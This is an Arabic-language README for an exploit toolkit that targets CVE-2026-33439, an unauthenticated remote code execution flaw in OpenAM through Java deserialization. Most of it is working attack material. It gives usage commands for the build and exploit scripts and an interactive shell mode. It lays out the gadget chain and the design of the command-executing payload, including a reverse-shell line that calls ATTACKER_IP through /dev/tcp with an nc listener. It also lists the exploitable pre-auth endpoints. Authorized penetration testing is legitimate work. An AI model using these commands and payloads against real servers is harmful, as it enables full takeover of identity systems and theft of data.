CVE-2026-33439 — تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في OpenAM

تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في OpenIdentityPlatform OpenAM <= 16.0.5 عبر إلغاء تسلسل Java غير الآمن للمعامل jato.clientSession (CVSS 9.8).

لاختبارات الأمان المصرّح بها فقط.

البدء السريع

# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

المتطلبات

• Python 3.10+ (المكتبة القياسية فقط، بدون pip install)
• JDK 21 (من أجل build.py — يجب أن يتطابق مع إصدار JVM الخاص بالخادم الهدف؛ JDK 25 ينتج كائنات مُسلسلة غير متوافقة)

وضعان

الوضع التفاعلي (افتراضي) — الإخراج في استجابة HTTP

يقرأ EvilTranslet ترويسة cmd من الطلب، وينفذها، ويكتب stdout مباشرة إلى استجابة HTTP. لا حاجة إلى مستمع.

# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

الوضع الأعمى — للـ reverse shells / OOB

يتم تضمين الأمر داخل bytecode الخاص بـ EvilTranslet. لا يتم إرجاع أي إخراج؛ استخدم مستمعًا (nc، إلخ) لالتقاط الاستدعاءات.

# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

جميع الخيارات

build.py

الخيار	الوصف
(بدون خيارات)	بناء payload تفاعلي (يقرأ ترويسة cmd في وقت التشغيل)
--command "CMD"	بناء payload أعمى مع تضمين CMD داخل bytecode
--jars DIR	استخدام دليل JARs محلي بدلاً من التنزيل (افتراضي: ./libs)
--download-only	تنزيل JARs فقط، دون ترجمة

exploit.py

الخيار	الوصف
--url URL	عنوان URL الهدف (مطلوب) — نقطة نهاية كاملة أو عنوان URL أساسي مع --probe/--all
--shell	pseudo-shell تفاعلي (الوضع التفاعلي)
--probe	الكشف التلقائي عن نقطة النهاية القابلة للاستغلال من عنوان URL الأساسي
--all	إرسال payload إلى جميع نقاط نهاية JATO (الوضع الأعمى)
--method GET|POST	طريقة إرسال HTTP (افتراضي: GET)
--proxy URL	وكيل HTTP (مثل http://127.0.0.1:8080 لـ Burp)
--timeout SECS	مهلة الطلب (افتراضي: 15)
--verify-tls	تمكين التحقق من شهادة TLS
--debug	إظهار تفاصيل الطلب/الاستجابة

شفافية الـ Payload

جميع الشيفرة المصدرية موجودة في المستودع — لا توجد كتل غامضة. تم تضمين مصادر Java في build.py كثوابت نصية قابلة للقراءة. بعد البناء، تحقق من الإخراج:

python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

سلسلة الـ Gadget

PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (الوضع التفاعلي)

1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — الحصول على طلب/استجابة HTTP عبر classloader الخاص بتطبيق الويب
2. request.getHeader("cmd") — قراءة الأمر
3. new ProcessBuilder("/bin/sh", "-c", cmd) — التنفيذ
4. response.reset() — مسح أي إخراج JSP سابق
5. كتابة stdout إلى الاستجابة كـ text/plain، ثم إغلاق تدفق الإخراج

EvilTranslet (الوضع الأعمى)

1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — أطلق وانسَ

نقاط النهاية القابلة للاستغلال

أي نقطة نهاية JATO ViewBean تعرض وسوم <jato:form>، يمكن الوصول إليها قبل المصادقة:

نقطة النهاية	ملاحظات
/openam/ui/PWResetUserValidation	إعادة تعيين كلمة المرور (الأكثر موثوقية)
/openam/ui/PWResetQuestion	أسئلة الأمان لإعادة تعيين كلمة المرور
/openam/ui/Login	صفحة تسجيل الدخول

استكشاف الأخطاء وإصلاحها

العَرَض	السبب	الحل
إرجاع صفحة HTML بدلاً من إخراج الأمر	JSP يستبدل الاستجابة	استخدم --shell مع payload تفاعلي؛ أو انتقل إلى الوضع الأعمى
إلغاء التسلسل لا يتم تفعيله	عدم تطابق إصدار JDK	أعد البناء باستخدام JDK 21: export JAVA_HOME=/path/to/jdk-21
مهلة مصافحة TLS	الخادم يتطلب اسم مضيف SNI	أضف الهدف إلى /etc/hosts واستخدم اسم المضيف، وليس IP
javac غير موجود	JDK غير مثبت	apt install openjdk-21-jdk

المراجع

• NVD — CVE-2026-33439
• OpenAM Advisory GHSA-2cqq-rpvq-g5qj
• Broadcom Protection Bulletin

الترخيص

MIT